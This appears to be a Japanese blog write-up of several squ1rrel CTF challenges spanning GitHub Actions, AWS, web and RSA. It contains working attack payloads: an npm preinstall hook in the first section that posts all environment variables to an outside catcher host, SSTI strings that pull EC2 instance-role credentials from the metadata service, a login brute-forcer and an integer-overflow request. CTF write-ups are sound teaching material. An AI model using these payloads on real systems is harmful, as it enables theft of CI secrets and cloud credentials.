- [cloud] opensource
- [cloud] metadata
- [cloud] escalate
- [web] go getter
- [Web] emojicrypt
- [Web] acorn clicker
- [crypto] Easy RSA
[cloud] opensource
The entirety of this challenge takes place on GitHub. Accept the challenge at https://[redacte]/ (do not attack this website, it is not part of the challenge).
GitHub Actionsの環境変数を利用した脆弱性を突くチャレンジ。GitHub OAuthでログイン後、専用リポジトリに招待される。フォークしてPull Requestを出すと、GitHubワークフローが環境変数としてシークレットを渡す仕組みを悪用する。
脆弱性は.github/workflows/test.yml
にある。中身は以下。
name: Test Build on: pull_request_target: jobs: build: runs-on: ubuntu-latest steps: - name: Checkout code uses: actions/checkout@v4 with: ref: ${{github.event.pull_request.head.ref}} repository: ${{github.event.pull_request.head.repo.full_name}} token: ${{ secrets.PAT }} - name: Set up Node.js uses: actions/setup-node@v4 with: node-version: '20' - name: Install dependencies run: npm install env: FLAG: ${{ secrets.FLAG }} - name: Run build run: npm run build
pull_request_target
トリガーを使用して、PRに対してFLAG
を環境変数に入れた状態でnpm install
を実行している。つまり、悪意あるPRを作って、npm installで任意コード実行してやって、環境変数を抜けば良い。リポジトリをフォークして、package.json
に以下のようなスクリプトを追加する。
{ "scripts": { "preinstall": "node -e \"fetch('https://[yours].requestcatcher.com/get', { method: 'post', body: JSON.stringify(process.env) })\"" } }
preinstall
は、npm install
実行前に自動的に実行されるので、環境変数(FLAGを含む)をすべて外部サーバーに送信できる。このコードを含むPRを作成すると、GitHub Actionsワークフローが実行され、フラグが得られる。
[cloud] metadata
Just vibe coded my very first website, and my friend put it up on his EC2. No shot it has any security vulnerabilities, right?
AWS EC2インスタンス上で動作するWebアプリケーションの脆弱性を利用する。アプリケーションにはSSTI脆弱性があり、これを利用してメタデータサービスにアクセスし、EC2のIAMロール認証情報を取得する。取得した認証情報を使ってAWS Secrets Managerからフラグを取得する。
SSTI
まず、SSTIがあることを見つける。フォームに{{4*4}}
を入力すると、計算結果の「16」が返ってくる。
$ curl 'http://[redacted]/greet' -H 'Content-Type: application/x-www-form-urlencoded' --data-raw 'name=%7B%7B4*4%7D%7D' Hello, 16!
この脆弱性を利用して、SSRFしてみよう。pythonのurlibを使ってAWS EC2インスタンスのメタデータサービスにアクセスする。
{{request.application.__globals__.__builtins__.__import__('urllib').request.urlopen("http://169.254.169.254/latest/meta-data/").read()}}
これで色々出てきたのでガチャガチャやると、ec2instanceroleというIAMロールのアクセス認証情報が取れる。
{{request.application.__globals__.__builtins__.__import__('urllib').request.urlopen("http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2instancerole").read()}}
この結果、以下のような認証情報が得られる。
{ "Code" : "Success", "LastUpdated" : "2025-04-05T13:14:58Z", "Type" : "AWS-HMAC", "AccessKeyId" : "[redacted]", "SecretAccessKey" : "[redacted]", "Token" : "[redacted]", "Expiration" : "2025-04-05T19:41:22Z" }
IAMロールポリシーの調査
取得した認証情報を使用して、IAMロールのポリシーを確認する。
$ aws iam get-role --role-name ec2instancerole { "Role": { "Path": "/", "RoleName": "ec2instancerole", "RoleId": "[redacted]", "Arn": "arn:aws:iam::[redacted]:role/ec2instancerole", "CreateDate": "2025-04-04T00:15:10+00:00", "AssumeRolePolicyDocument": { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Principal": { "Service": "ec2.amazonaws.com" }, "Action": "sts:AssumeRole" } ] }, "Description": "Allows EC2 instances to call AWS services on your behalf.", "MaxSessionDuration": 3600, "RoleLastUsed": { "LastUsedDate": "2025-04-05T14:05:04+00:00", "Region": "us-east-1" } } } $ aws iam list-attached-role-policies --role-name ec2instancerole { "AttachedPolicies": [ { "PolicyName": "ec2instancepolicy", "PolicyArn": "arn:aws:iam::[redacted]:policy/ec2instancepolicy" } ] } $ aws iam get-policy-version --policy-arn arn:aws:iam::[redacted]:policy/ec2instancepolicy --version-id v6 { "PolicyVersion": { "Document": { "Version": "2012-10-17", "Statement": [ { "Sid": "VisualEditor0", "Effect": "Allow", "Action": [ "iam:GetRole", "iam:ListAttachedRolePolicies", "iam:GetPolicy", "iam:GetPolicyVersion" ], "Resource": "*" }, { "Sid": "VisualEditor1", "Effect": "Allow", "Action": [ "secretsmanager:GetSecretValue", "secretsmanager:DescribeSecret", "secretsmanager:ListSecrets", "secretsmanager:ListSecretVersionIds" ], "Resource": "arn:aws:secretsmanager:us-east-2:[redacted]:*" } ] }, "VersionId": "v6", "IsDefaultVersion": true, "CreateDate": "2025-04-04T00:37:02+00:00" } }
AWS Secrets Managerに対して権限がいくらかある。ListSecretsをやってみるが、うまくいかない。flagという名前かな…と思って取得してみると取れて、フラグが書いてある。
$ aws secretsmanager get-secret-value --secret-id flag { "ARN": "arn:aws:secretsmanager:us-east-2:[redacted]:secret:flag-imCL9a", "Name": "flag", "VersionId": "6383bf21-9007-465c-9908-b08d7397bb0b", "SecretString": "{\"flag\":\"squ1rrel{you_better_not_have_vibe_coded_the_solution_to_this_challenge}\"}", "VersionStages": [ "AWSCURRENT" ], "CreatedDate": "2025-04-05T01:01:42.266000+09:00" }
[cloud] escalate
In order to get access to this challenge, you must first complete metadata. To start this challenge, make a ticket with your team name to request an AWS account for your team. (Only one AWS account per team!)
AWSのアカウントがもらえるので、それを悪用してフラグを取ってくるチャレンジ。ctfuserというユーザーの認証情報が与えられる。webのマネージメントコンソールにログインして、地道に探索探すとIAMでポリシーとロールが確認できた。
- ポリシー「MagicPolicy」 : ロール「MagicRole」にアタッチされている
- arn:aws:s3:::squ1rrel-ctf-flagsに対してs3:ListBucketがAllow
- *に対してlogs:{CreateLogGroup,CreateLogStream,PutLogEvents}がAllow
- ポリシー「UserPolicy」 : ctfuserにアタッチされている
- *に対して
- iam:{SetDefaultPolicyVersion,ListRoles,GetRole,ListPolicies,ListPolicyVersions,ListAttachedRolePolicies,GetPolicy,GetPolicyVersion,ListEntitiesForPolicy}がAllow
- lambda:{GetFunction,CreateFunction,InvokeFunction,UpdateFunctionCode,UpdateFunctionConfiguration,DeleteFunction,ListFunctions}がAllow
- *に対して
ということで、lambdaのMagicRoleを手に入れて、s3のsqu1rrel-ctf-flagsをListしてみる。既存のlanbda関数は無かったので、MagicRoleを実行ロールとして新規で関数を作って以下のように実行してみた。
import json import boto3 s3 = boto3.client('s3') def lambda_handler(event, context): bucket_name = 'squ1rrel-ctf-flags' try: response = s3.list_objects_v2(Bucket=bucket_name) print(response) return { 'statusCode': 200, 'body': json.dumps(response) } except Exception as e: print(e) return { 'statusCode': 500, 'body': json.dumps({'message': 'err'}) }
これをテストで動かすと以下のように帰ってきて、ファイル名がフラグになっていた。
{'ResponseMetadata': {'RequestId': '[redacted]', 'HostId': '[redacted]', 'HTTPStatusCode': 200, 'HTTPHeaders': {'x-amz-id-2': '[redacted]', 'x-amz-request-id': '[redacted]', 'date': 'Sun, 06 Apr 2025 08:14:00 GMT', 'x-amz-bucket-region': 'us-east-1', 'content-type': 'application/xml', 'transfer-encoding': 'chunked', 'server': 'AmazonS3'}, 'RetryAttempts': 0}, 'IsTruncated': False, 'Contents': [{'Key': 'squ1rrel{dont_you_love_aws}.txt', 'LastModified': datetime.datetime(2025, 4, 4, 5, 59, 47, tzinfo=tzlocal()), 'ETag': '"[redacted]"', 'ChecksumAlgorithm': ['CRC64NVME'], 'Size': 0, 'StorageClass': 'STANDARD'}], 'Name': 'squ1rrel-ctf-flags', 'Prefix': '', 'MaxKeys': 1000, 'EncodingType': 'url', 'KeyCount': 1}
[web] go getter
There's a joke to be made here about Python eating the OGopher. I'll cook on it and get back to you.
ソースコード有り。GoアプリとPythonサービスの連携における脆弱性を突く問題。フロントであるGoアプリはリクエストをフィルタリングし、バックエンドのPythonサービスはフラグ取得のエンドポイントを持つ。JSON解析の違いを利用してGoのフィルタを回避する。golang側(フロントエンド)では
// Struct to parse incoming JSON type RequestData struct { Action string `json:"action"` } ... // Parse JSON var requestData RequestData if err := json.Unmarshal(body, &requestData); err != nil { http.Error(w, "Invalid JSON", http.StatusBadRequest) return } // Process action switch requestData.Action { case "getgopher": resp, err := http.Post("http://python-service:8081/execute", "application/json", bytes.NewBuffer(body)) if err != nil { log.Printf("Failed to reach Python API: %v", err) http.Error(w, "Failed to reach Python API", http.StatusInternalServerError) return } defer resp.Body.Close()
としていて、python側(バックエンド)では
@app.route('/execute', methods=['POST']) def execute(): # Ensure request has JSON if not request.is_json: return jsonify({"error": "Invalid JSON"}), 400 data = request.get_json()
としている。それぞれのミドルウェアの細かい実装は確認せず、簡易fuzzerを作ってガチャガチャやると{"action":"getflag", "Action":"getgopher"}
で不整合が起こせてフラグが得られる。どうやら、golangの方はjsonのkeyについてcase-insensitiveだが、pythonではcase-sensitiveのようだ。
[Web] emojicrypt
Passwords can be more secure. We're taking the first step.
ソースコード有り。パスワード認証機能を持つWebアプリケーションの脆弱性を突く問題。ユーザー登録時にパスワードは自動生成され、認証時にはbcryptハッシュとソルトが使われる。ソルトとして複数の絵文字が使用されているのが特徴。
from flask import Flask, request, redirect, url_for, g import sqlite3 import bcrypt import random import os app = Flask(__name__, static_folder='templates') DATABASE = 'users.db' EMOJIS = ['🌀', '🌁', '🌂', '🌐', '🌱', '🍀', '🍁', '🍂', '🍄', '🍅', '🎁', '🎒', '🎓', '🎵', '😀', '😁', '😂', '😕', '😶', '😩', '😗'] NUMBERS = '0123456789' def generate_salt(): return 'aa'.join(random.choices(EMOJIS, k=12)) @app.route('/register', methods=['POST']) def register(): # 省略 salt = generate_salt() random_password = ''.join(random.choice(NUMBERS) for _ in range(32)) password_hash = bcrypt.hashpw((salt + random_password).encode("utf-8"), bcrypt.gensalt()).decode('utf-8') # TODO: email the password to the user. oopsies! # パスワードがユーザーに通知されない @app.route('/login', methods=['POST']) def login(): # 省略 salt, hash = data if salt and hash and bcrypt.checkpw((salt + password).encode("utf-8"), hash.encode("utf-8")): return os.environ.get("FLAG")
重要な部分を抜粋すると以上のような感じ。パスワードが自動生成されるが共有されないので、ログインできないよね?という形。
bcryptの制約を悪用
bcryptのハッシュ関数は入力が72バイトを超える場合、72バイトで切り詰められるという制約がある。この問題では、ソルトとして多数の絵文字が使われており、UTF-8で長いバイト列になる。
def generate_salt(): return 'aa'.join(random.choices(EMOJIS, k=12))
絵文字は一つあたり3~4バイトを消費するため、12個の絵文字と間に挟まる「aa」を合わせるとソルトだけで既に長いバイト列となる。その後に32桁のパスワードを結合すると、72バイトの制限を超えてしまう。結果として、パスワードの大部分が切り詰められ、実際には最初の数桁(2桁程度)のみがハッシュ計算に使用される仕組みになっている。これにより、1032だった探索空間が102に減少し、総当たり攻撃が現実的な時間で可能になる。2桁の数字の全ての組み合わせ(00-99)をブルートフォースで試すソルバーが以下で、これを回すとフラグが得られる。
#!/usr/bin/env python3 import bcrypt import requests import itertools URL = "http://[redacted]" TEST_USERNAME = "test_user_" + ''.join([str(i) for i in range(10)]) TEST_EMAIL = TEST_USERNAME + "@example.com" DIGITS = "0123456789" def try_login(password): data = { 'username': TEST_USERNAME, 'password': password } response = requests.post(f"{URL}/login", data=data) if "incorrect" not in response.url and response.status_code == 200: print(response.text) return True return False requests.post(f"{URL}/register", data={'email': TEST_EMAIL, 'username': TEST_USERNAME}) for password in itertools.product(DIGITS, repeat=2): password = ''.join(password) if try_login(password): break
[Web] acorn clicker
Click acorns. Buy squirrels. Profit.
ソースコード有り。クリックでacornsを稼ぎ、999999999999999999acornsでフラグが買える。高額で通常の方法では入手不可能なので、バックエンドの入力検証の脆弱性を突いて大量のacornsを入手する必要がある。
app.post("/api/click", authenticate, async (req, res) => { // increase user balance const { username } = req.user; const { amount } = req.body; if (typeof amount !== "number") { return res.status(400).send("Invalid amount"); } if (amount > 10) { return res.status(400).send("Invalid amount"); } let bigIntAmount; try { bigIntAmount = BigInt(amount); } catch (err) { return res.status(400).send("Invalid amount"); } await db .collection("accounts") .updateOne({ username }, { $inc: { balance: bigIntAmount } }); res.json({ earned: amount }); });
負の値による入力検証バイパス
clickエンドポイントでは、入力値のチェックで「10より大きくないか」のみを検証しており、負の値のチェックを行っていない。そのため、負の値を送信すると、バランスを減らすことができる。注目すべき点は、MongoDBのint64型とJavaScriptのBigInt型の扱いの違いで、MongoDBのint64型は固定長であるのに対し、JavaScriptのBigInt型は任意精度整数である。よって、JavaScript側ではMongoDBで負の方向にオーバーフローを起こすような入力を入れ込むことができる。
よって以下のようにオーバーフローが起きる大きい負の値を入れてやると、大きい正のacornsが得られて、フラグが取得できるようになる。
curl 'http://challenge-url:8080/api/click' \ -H 'Authorization: Bearer {JWT_TOKEN}' \ -H 'Content-Type: application/json' \ --data-raw '{"amount":-9223372036854775808}'
[crypto] Easy RSA
"The security of RSA relies on the practical difficulty of factoring the product of two large prime numbers, the 'factoring problem'" -Wikipedia
ソースコードは以下の通り。
import random from sympy import nextprime, mod_inverse def gen_primes(bit_length, diff=2**32): p = nextprime(random.getrandbits(bit_length)) q = nextprime(p + random.randint(diff//2, diff)) return p, q def gen_keys(bit_length=1024): p, q = gen_primes(bit_length) n = p * q phi = (p - 1) * (q - 1) e = 65537 d = mod_inverse(e, phi) return (n, e) def encrypt(message, public_key): n, e = public_key message_int = int.from_bytes(message.encode(), 'big') ciphertext = pow(message_int, e, n) return ciphertext if __name__ == "__main__": public_key = gen_keys() message = "FLAG" ciphertext = encrypt(message, public_key) f = open("easy_rsa.txt", "a") f.write(f"n: {public_key[0]} \n") f.write(f"e: {public_key[1]} \n") f.write(f"c: {ciphertext}") f.close()
脆弱点は以下で、二つの素数pとqが非常に近い値で生成されていること。
p = nextprime(random.getrandbits(bit_length))
q = nextprime(p + random.randint(diff//2, diff))
フェルマーの素因数分解で解く
二つの素数pとqが近い場合、フェルマーの素因数分解を使って効率的に因数分解できる。素因数分解の実装はここから借りてきたが、以下のようなソルバで解ける。
import gmpy2 # https://tex2e.github.io/blog/crypto/fermat-factorization-method def fermat_factors(n): assert n % 2 != 0 x = gmpy2.isqrt(n) y2 = x**2 - n while not gmpy2.is_square(y2): x += 1 y2 = x**2 - n factor1 = x + gmpy2.isqrt(y2) # a = x + y factor2 = x - gmpy2.isqrt(y2) # b = x - y return int(factor1), int(factor2) n = 26518484190072684543796636642573643429663718007657844401363773206659586306986264997767920520901884078894807042866105584826044096909054367742753454178100533852686155634326578229244464083405472076784252798532101323300927917033985149599262487556178538148122012479094592746981412717431260240328326665253193374956717147239124238669998383943846418315819353858592278242580832695035016713351286816376107787722262574185450560176240134182669922757134881941918668067864082251416681188295948127121973857376227427652243249227143249036846400440184395983449367274506961173876131312502878352761335998067274325965774900643209446005663 e = 65537 c = 14348338827461086677721392146480940700779126717642704712390609979555667316222300910938184262325989361356621355740821450291276190410903072539047611486439984853997473162360371156442125577815817328959277482760973390721183548251315381656163549044110292209833480901571843401260931970647928971053471126873192145825248657671112394111129236255144807222107062898136588067644203143226369746529685617078054235998762912294188770379463390263607054883907325356551707971088954430361996309098504380934167675525860405086306135899933171103093138346158349497350586212612442120636759620471953311221396375007425956203746772190351265066237 p, q = fermat_factors(n) from Crypto.Util.number import long_to_bytes phi = (p-1)*(q-1) d = pow(e, -1, phi) print(long_to_bytes(pow(c, d, n)))